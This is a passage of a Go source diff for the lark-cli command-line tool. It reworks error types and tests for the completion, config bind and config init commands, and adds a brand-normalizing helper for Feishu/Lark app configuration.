parent.AddCommand(c)
}
parent = c
leaf = c
}
return leaf
}
tests := []struct {
name string
leaf *cobra.Command
want []string
}{
{"flat dotted resource", chain("lark-cli", "im", "chat.members", "create"), []string{"im", "chat.members", "create"}},
{"nested resources", chain("lark-cli", "im", "spaces", "items", "get"), []string{"im", "spaces", "items", "get"}},
{"service level", chain("lark-cli", "im"), []string{"im"}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := commandCatalogPath(tt.leaf); !reflect.DeepEqual(got, tt.want) {
t.Errorf("commandCatalogPath = %v, want %v", got, tt.want)
}
})
}
// The root command (no parent) has no catalog path.
if got := commandCatalogPath(&cobra.Command{Use: "lark-cli"}); len(got) != 0 {
t.Errorf("root path = %v, want empty", got)
}
}

View File

@@ -4,7 +4,8 @@
package completion
import (
"github.com/larksuite/cli/errs"
"fmt"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/spf13/cobra"
)
@@ -31,9 +32,7 @@ func NewCmdCompletion(f *cmdutil.Factory) *cobra.Command {
case "powershell":
return root.GenPowerShellCompletionWithDesc(out)
default:
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"unsupported shell: %s", args[0]).
WithHint("supported shells: bash, zsh, fish, powershell")
return fmt.Errorf("unsupported shell: %s", args[0])
}
},
}

View File

@@ -212,7 +212,10 @@ func finalizeSource(opts *BindOptions) (string, error) {
if opts.IsTUI && !opts.langExplicit {
lang, err := promptLangSelection()
if err != nil {
return "", langSelectionError(err)
if err == huh.ErrUserAborted {
return "", output.ErrBare(1)
}
return "", output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
}
opts.Lang = string(lang)
opts.UILang = lang

View File

@@ -20,29 +20,35 @@ import (
"github.com/larksuite/cli/internal/output"
)
// wantErrDetail is the normalized comparison shape for a typed error's wire
// fields: Type is the error's Category string ("validation", "config", ...),
// alongside Message and Hint.
type wantErrDetail struct {
Type string
Message string
Hint string
}
// assertExitError checks the full structured error in one assertion against a
// typed error (ValidationError or ConfigError), normalizing its Category /
// Message / Hint to wantDetail.
func assertExitError(t *testing.T, err error, wantCode int, wantDetail wantErrDetail) {
// assertExitError checks the full structured error in one assertion. It
// accepts both *output.ExitError (used by output.ErrWithHint) and the
// typed errors (ValidationError, ConfigError) — they normalize to the same
// wantDetail fields. The wantDetail.Type is matched against the typed error's
// Category string ("validation", "config", etc.).
func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.ErrDetail) {
t.Helper()
if err == nil {
t.Fatal("expected error, got nil")
}
var exitErr *output.ExitError
if errors.As(err, &exitErr) {
if exitErr.Code != wantCode {
t.Errorf("exit code = %d, want %d", exitErr.Code, wantCode)
}
if exitErr.Detail == nil {
t.Fatal("expected non-nil error detail")
}
if !reflect.DeepEqual(*exitErr.Detail, wantDetail) {
t.Errorf("error detail mismatch:\n got: %+v\n want: %+v", *exitErr.Detail, wantDetail)
}
return
}
var ve *errs.ValidationError
if errors.As(err, &ve) {
if got := output.ExitCodeOf(err); got != wantCode {
t.Errorf("exit code = %d, want %d", got, wantCode)
}
gotDetail := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
gotDetail := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
if !reflect.DeepEqual(gotDetail, wantDetail) {
t.Errorf("validation error mismatch:\n got: %+v\n want: %+v", gotDetail, wantDetail)
}
@@ -53,13 +59,13 @@ func assertExitError(t *testing.T, err error, wantCode int, wantDetail wantErrDe
if got := output.ExitCodeOf(err); got != wantCode {
t.Errorf("exit code = %d, want %d", got, wantCode)
}
gotDetail := wantErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
gotDetail := output.ErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
if !reflect.DeepEqual(gotDetail, wantDetail) {
t.Errorf("config error mismatch:\n got: %+v\n want: %+v", gotDetail, wantDetail)
}
return
}
t.Fatalf("error type = %T, want *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
t.Fatalf("error type = %T, want *output.ExitError or *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
}
// assertEnvelope decodes stdout and checks it matches want exactly — every key
@@ -173,21 +179,15 @@ func TestConfigBindRun_InvalidLang(t *testing.T) {
if err == nil {
t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
}
var valErr *errs.ValidationError
if !errors.As(err, &valErr) {
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
exitErr, ok := err.(*output.ExitError)
if !ok {
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
}
if valErr.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
if exitErr.Code != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
}
if valErr.Param != "--lang" {
t.Errorf("param = %q, want %q", valErr.Param, "--lang")
}
if got := output.ExitCodeOf(err); got != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
}
if !strings.Contains(err.Error(), "invalid --lang") {
t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
if !strings.Contains(exitErr.Error(), "invalid --lang") {
t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
}
})
}
@@ -365,7 +365,7 @@ func TestConfigBindRun_InvalidSource(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "invalid"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `invalid --source "invalid"; valid values: openclaw, hermes, lark-channel`,
})
@@ -382,7 +382,7 @@ func TestConfigBindRun_MissingSourceNonTTY(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
// TestFactory has IsTerminal=false by default
err := configBindRun(&BindOptions{Factory: f, Source: ""})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: "cannot determine Agent source: no --source flag and no Agent environment detected",
Hint: "pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context",
@@ -421,7 +421,7 @@ func TestConfigBindRun_SourceEnvMismatch_OpenClawFlagInHermesEnv(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--source "openclaw" does not match detected Agent environment (hermes)`,
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -437,7 +437,7 @@ func TestConfigBindRun_SourceEnvMismatch_HermesFlagInOpenClawEnv(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--source "hermes" does not match detected Agent environment (openclaw)`,
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -566,7 +566,7 @@ func TestConfigBindRun_HermesMissingEnvFile(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
envPath := filepath.Join(hermesHome, ".env")
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "failed to read Hermes config: open " + envPath + ": no such file or directory",
Hint: "verify Hermes is installed and configured at " + envPath,
@@ -584,7 +584,7 @@ func TestConfigBindRun_OpenClawMissingFile(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
configPath := filepath.Join(openclawHome, ".openclaw", "openclaw.json")
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
Hint: "verify OpenClaw is installed and configured",
@@ -731,7 +731,7 @@ func TestConfigBindRun_SourceEnvMismatch_LarkChannelFlagInOpenClawEnv(t *testing
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--source "lark-channel" does not match detected Agent environment (openclaw)`,
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
@@ -750,7 +750,7 @@ func TestConfigBindRun_LarkChannelMissingFile(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
configPath := filepath.Join(fakeHome, ".lark-channel", "config.json")
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
Hint: "verify lark-channel-bridge is installed and configured",
@@ -770,7 +770,7 @@ func TestConfigBindRun_LarkChannelEmptyAppID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "accounts.app.id missing in " + configPath,
Hint: "run lark-channel-bridge's setup to populate the app credential",
@@ -789,7 +789,7 @@ func TestConfigBindRun_LarkChannelEmptySecret(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "accounts.app.secret is empty in " + configPath,
Hint: "run lark-channel-bridge's setup to populate the app credential",
@@ -835,19 +835,17 @@ func TestConfigShowRun_AgentWorkspaceNotBound(t *testing.T) {
t.Fatal("expected error for unbound workspace")
}
// Should be a structured ConfigError suggesting config bind, not config init.
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
t.Fatalf("error type = %T, want *core.ConfigError", err)
}
// Config errors share ExitAuth (3); the workspace is detected but no
// binding exists yet, which is a config error.
if got := output.ExitCodeOf(err); got != output.ExitAuth {
t.Errorf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
if cfgErr.Code != output.ExitAuth {
t.Errorf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
}
// The workspace name stays out of the wire subtype; it only appears in
// the message.
if cfgErr.Subtype != errs.SubtypeNotConfigured {
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
if cfgErr.Type != "openclaw" {
t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
}
if !strings.Contains(cfgErr.Message, "openclaw context detected") {
t.Errorf("message missing 'openclaw context detected': %q", cfgErr.Message)
@@ -916,6 +914,25 @@ func TestReadDotenv_ValueWithEquals(t *testing.T) {
}
}
func TestNormalizeBrand(t *testing.T) {
tests := []struct {
input string
want string
}{
{"", "feishu"},
{"feishu", "feishu"},
{"lark", "lark"},
{"LARK", "lark"},
{" lark ", "lark"},
{"Lark", "lark"},
}
for _, tt := range tests {
if got := normalizeBrand(tt.input); got != tt.want {
t.Errorf("normalizeBrand(%q) = %q, want %q", tt.input, got, tt.want)
}
}
}
func TestResolveOpenClawConfigPath_Overrides(t *testing.T) {
t.Run("OPENCLAW_CONFIG_PATH wins", func(t *testing.T) {
custom := filepath.Join(t.TempDir(), "custom.json")
@@ -1170,7 +1187,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
// iterates a map — ordering is non-deterministic. DeepEqual inline against
// each accepted variant so every ErrDetail field (Type, Code, Message,
// Hint, ConsoleURL, Detail, and any future addition) is still compared.
base := wantErrDetail{
base := output.ErrDetail{
Type: "validation",
Message: "multiple accounts in openclaw.json; pass --app-id <id>",
}
@@ -1186,7 +1203,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
if !errors.As(err, &ve) {
t.Fatalf("error type = %T, want *errs.ValidationError; err = %v", err, err)
}
got := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
got := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
if !reflect.DeepEqual(got, wantWorkFirst) && !reflect.DeepEqual(got, wantPersonalFirst) {
t.Errorf("error detail did not match any accepted variant:\n got: %+v\n want: %+v OR %+v",
got, wantWorkFirst, wantPersonalFirst)
@@ -1213,7 +1230,7 @@ func TestConfigBindRun_OpenClawMultiAccount_WrongAppID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw", AppID: "nonexistent"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--app-id "nonexistent" not found in openclaw.json`,
Hint: "available app IDs:\n cli_only_one",
@@ -1233,7 +1250,7 @@ func TestConfigBindRun_InvalidIdentity(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "hermes", Identity: "invalid"})
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `invalid --identity "invalid"; valid values: bot-only, user-default`,
})
@@ -1519,7 +1536,7 @@ func TestConfigBindRun_HermesMissingAppID(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
envPath := filepath.Join(hermesHome, ".env")
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "FEISHU_APP_ID not found in " + envPath,
Hint: "run 'hermes setup' to configure Feishu credentials",
@@ -1539,7 +1556,7 @@ func TestConfigBindRun_HermesMissingAppSecret(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
envPath := filepath.Join(hermesHome, ".env")
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "FEISHU_APP_SECRET not found in " + envPath,
Hint: "run 'hermes setup' to configure Feishu credentials",
@@ -1565,7 +1582,7 @@ func TestConfigBindRun_OpenClawMissingFeishu(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "openclaw.json missing channels.feishu section",
Hint: "configure Feishu in OpenClaw first",
@@ -1593,7 +1610,7 @@ func TestConfigBindRun_OpenClawEmptyAppSecret(t *testing.T) {
openclawPath := filepath.Join(openclawDir, "openclaw.json")
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "appSecret is empty for app cli_no_secret in " + openclawPath,
Hint: "configure channels.feishu.appSecret in openclaw.json",
@@ -1655,7 +1672,7 @@ func TestConfigBindRun_OpenClawDisabledAccount(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "no Feishu app configured in openclaw.json",
Hint: "configure channels.feishu.appId in openclaw.json",

View File

@@ -205,7 +205,7 @@ func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
return &core.AppConfig{
AppId: selected.AppID,
AppSecret: stored,
Brand: core.ParseBrand(selected.Brand),
Brand: core.LarkBrand(normalizeBrand(selected.Brand)),
}, nil
}
@@ -261,7 +261,7 @@ func (b *hermesBinder) Build(appID string) (*core.AppConfig, error) {
return &core.AppConfig{
AppId: appID,
AppSecret: stored,
Brand: core.ParseBrand(b.envMap["FEISHU_DOMAIN"]),
Brand: core.LarkBrand(normalizeBrand(b.envMap["FEISHU_DOMAIN"])),
}, nil
}
@@ -326,7 +326,7 @@ func (b *larkChannelBinder) Build(appID string) (*core.AppConfig, error) {
return &core.AppConfig{
AppId: appID,
AppSecret: stored,
Brand: core.ParseBrand(b.cfg.Accounts.App.Tenant),
Brand: core.LarkBrand(normalizeBrand(b.cfg.Accounts.App.Tenant)),
}, nil
}
@@ -350,6 +350,16 @@ func sourceDisplayName(source string) string {
}
}
// normalizeBrand applies .strip().lower() and defaults to "feishu".
// Aligns with Hermes gateway/platforms/feishu.py:1119 behavior.
func normalizeBrand(raw string) string {
s := strings.TrimSpace(strings.ToLower(raw))
if s == "" {
return "feishu"
}
return s
}
// resolveHermesEnvPath returns the path to Hermes's .env file.
// Respects HERMES_HOME override; defaults to ~/.hermes/.env.
//

View File

@@ -51,7 +51,7 @@ func assertCandidate(t *testing.T, got *Candidate, want Candidate) {
func TestSelectCandidate_ZeroCandidates_OpenClaw(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "no Feishu app configured in openclaw.json",
Hint: "configure channels.feishu.appId in openclaw.json",
@@ -64,7 +64,7 @@ func TestSelectCandidate_ZeroCandidates_GenericSource(t *testing.T) {
// even before it has a bespoke error message.
b := &fakeBinder{name: "hermes", path: "/tmp/.env"}
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitAuth, wantErrDetail{
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
Type: "config",
Message: "hermes: no app configured",
})
@@ -100,7 +100,7 @@ func TestSelectCandidate_AppIDFlag_NoMatch(t *testing.T) {
{AppID: "cli_home", Label: "home"},
}
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--app-id "nonexistent" not found in openclaw.json`,
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
@@ -117,7 +117,7 @@ func TestSelectCandidate_MultiCandidate_NoFlag_NonTUI(t *testing.T) {
{AppID: "cli_home", Label: "home"},
}
_, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: "multiple accounts in openclaw.json; pass --app-id <id>",
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
@@ -152,7 +152,7 @@ func TestSelectCandidate_SingleCandidate_WrongFlag(t *testing.T) {
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
candidates := []Candidate{{AppID: "cli_only"}}
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
assertExitError(t, err, output.ExitValidation, wantErrDetail{
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
Type: "validation",
Message: `--app-id "nonexistent" not found in openclaw.json`,
Hint: "available app IDs:\n cli_only",

View File

@@ -12,7 +12,6 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcred "github.com/larksuite/cli/extension/credential"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -93,16 +92,16 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
t.Fatal("expected error")
}
var cfgErr *errs.ConfigError
var cfgErr *core.ConfigError
if !errors.As(err, &cfgErr) {
t.Fatalf("error type = %T, want *errs.ConfigError", err)
t.Fatalf("error type = %T, want *core.ConfigError", err)
}
// Config errors share ExitAuth (3), not ExitValidation.
if got := output.ExitCodeOf(err); got != output.ExitAuth {
t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
if cfgErr.Code != output.ExitAuth {
t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
}
if cfgErr.Subtype != errs.SubtypeNotConfigured || cfgErr.Message != "not configured" {
t.Fatalf("detail = %+v, want not_configured/not configured", cfgErr)
if cfgErr.Type != "config" || cfgErr.Message != "not configured" {
t.Fatalf("detail = %+v, want config/not configured", cfgErr)
}
}
@@ -234,21 +233,15 @@ func TestConfigInitCmd_InvalidLang(t *testing.T) {
if err == nil {
t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
}
var valErr *errs.ValidationError
if !errors.As(err, &valErr) {
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
exitErr, ok := err.(*output.ExitError)
if !ok {
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
}
if valErr.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
if exitErr.Code != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
}
if valErr.Param != "--lang" {
t.Errorf("param = %q, want %q", valErr.Param, "--lang")
}
if got := output.ExitCodeOf(err); got != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
}
if !strings.Contains(err.Error(), "invalid --lang") {
t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
if !strings.Contains(exitErr.Error(), "invalid --lang") {
t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
}
})
}
@@ -392,38 +385,8 @@ func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T
if err == nil {
t.Fatal("expected conflict error")
}
// A name/appId conflict is user input — a typed validation error naming the
// offending flag, not a system storage failure.
var verr *errs.ValidationError
if !errors.As(err, &verr) {
t.Fatalf("error type = %T, want *errs.ValidationError; err=%v", err, err)
}
if verr.Subtype != errs.SubtypeInvalidArgument {
t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
}
if verr.Param != "--name" {
t.Errorf("param = %q, want --name", verr.Param)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Errorf("exit code = %d, want %d (validation)", output.ExitCodeOf(err), output.ExitValidation)
}
if !strings.Contains(verr.Message, "conflicts with existing appId") {
t.Errorf("message = %q, want conflict description", verr.Message)
}
}
// TestWrapSaveConfigError_PassesTypedValidationThrough pins that a user-input
// validation error (e.g. the --name conflict) is not reclassified as an
// internal storage failure on its way up through the save call sites.
func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
conflict := errs.NewValidationError(errs.SubtypeInvalidArgument, "name conflict").WithParam("--name")
var verr *errs.ValidationError
if !errors.As(wrapSaveConfigError(conflict), &verr) {
t.Fatalf("typed validation must pass through unchanged, got %T", wrapSaveConfigError(conflict))
}
var ierr *errs.InternalError
if !errors.As(wrapSaveConfigError(errors.New("disk full")), &ierr) || ierr.Subtype != errs.SubtypeStorage {
t.Fatalf("untyped failure must become internal/storage")
if !strings.Contains(err.Error(), "conflicts with existing appId") {
t.Fatalf("error = %v, want conflict with existing appId", err)
}
}

View File

@@ -6,11 +6,13 @@ package config
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"os"
"strings"
"github.com/charmbracelet/huh"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
@@ -125,9 +127,12 @@ func guardAgentWorkspace(opts *ConfigInitOptions) error {
if ws.IsLocal() {
return nil
}
return errs.NewConfigError(errs.SubtypeNotConfigured,
"config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()).
WithHint("see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.")
return &core.ConfigError{
Code: 2,
Type: ws.Display(),
Message: fmt.Sprintf("config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()),
Hint: "see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.",
}
}
// hasAnyNonInteractiveFlag returns true if any non-interactive flag is set.
@@ -178,20 +183,6 @@ func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmduti
return saveAsOnlyApp(appId, secret, brand, string(preferredLang(i18n.Lang(lang), prior)))
}
// wrapSaveConfigError passes an already-typed error (e.g. the --name conflict
// validation error from saveAsProfile) through unchanged, and classifies any
// other failure as an internal storage error. Without the passthrough a user
// input error would surface to agents as a system storage failure.
func wrapSaveConfigError(err error) error {
if err == nil {
return nil
}
if _, ok := errs.ProblemOf(err); ok {
return err
}
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
// saveAsProfile appends or updates a named profile in the config.
// If a profile with the same name exists, it updates it; otherwise appends.
// When updating, cleans up old keychain secrets if AppId changed.
@@ -216,9 +207,7 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
multi.Apps[idx].Lang = preferredLang(i18n.Lang(lang), multi.Apps[idx].Lang)
} else {
if findAppIndexByAppID(multi, profileName) >= 0 {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"profile name %q conflicts with existing appId", profileName).
WithParam("--name")
return fmt.Errorf("profile name %q conflicts with existing appId", profileName)
}
// Append new profile
multi.Apps = append(multi.Apps, core.AppConfig{
@@ -260,8 +249,8 @@ func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
// wrapUpdateExistingProfileErr classifies the error returned by
// updateExistingProfileWithoutSecret. Typed errors (e.g. *errs.ValidationError
// for blank-input) pass through unchanged so their exit code semantics
// survive; everything else (filesystem, keychain, etc.) is wrapped as
// InternalError.
// survive; legacy *output.ExitError also passes through; everything else
// (filesystem, keychain, etc.) is wrapped as InternalError.
func wrapUpdateExistingProfileErr(err error) error {
if err == nil {
return nil
@@ -269,6 +258,10 @@ func wrapUpdateExistingProfileErr(err error) error {
if errs.IsTyped(err) {
return err
}
var exitErr *output.ExitError
if errors.As(err, &exitErr) {
return err
}
return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
}
@@ -343,14 +336,11 @@ func configInitRun(opts *ConfigInitOptions) error {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
printLangPreferenceConfirmation(opts)
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": opts.AppID, "appSecret": "****", "brand": brand})
if err := runProbe(opts.Ctx, f, opts.AppID, opts.appSecret, brand); err != nil {
return err
}
return nil
}
@@ -360,7 +350,10 @@ func configInitRun(opts *ConfigInitOptions) error {
if f.IOStreams.IsTerminal && !opts.langExplicit && !opts.hasAnyNonInteractiveFlag() {
lang, err := promptLangSelection()
if err != nil {
return langSelectionError(err)
if err == huh.ErrUserAborted {
return output.ErrBare(1)
}
return output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
}
opts.Lang = string(lang)
opts.UILang = lang
@@ -383,13 +376,10 @@ func configInitRun(opts *ConfigInitOptions) error {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
printLangPreferenceConfirmation(opts)
output.PrintJson(f.IOStreams.Out, map[string]interface{}{"appId": result.AppID, "appSecret": "****", "brand": result.Brand})
if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
return err
}
return nil
}
@@ -413,7 +403,7 @@ func configInitRun(opts *ConfigInitOptions) error {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, result.AppID, secret, result.Brand, opts.Lang); err != nil {
return wrapSaveConfigError(err)
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
}
} else if result.Mode == "existing" && result.AppID != "" {
// Existing app with unchanged secret — update app ID and brand only
@@ -429,11 +419,6 @@ func configInitRun(opts *ConfigInitOptions) error {
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf(msg.ConfigSaved, result.AppID))
}
printLangPreferenceConfirmation(opts)
if result.AppSecret != "" {
if err := runProbe(opts.Ctx, f, result.AppID, result.AppSecret, result.Brand); err != nil {
return err
}
}
return nil
}
@@ -518,14 +503,9 @@ func configInitRun(opts *ConfigInitOptions) error {
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
}
if err := saveInitConfig(opts.ProfileName, existing, f, resolvedAppId, storedSecret, parseBrand(resolvedBrand), opts.Lang); err != nil {
return wrapSaveConfigError(err)
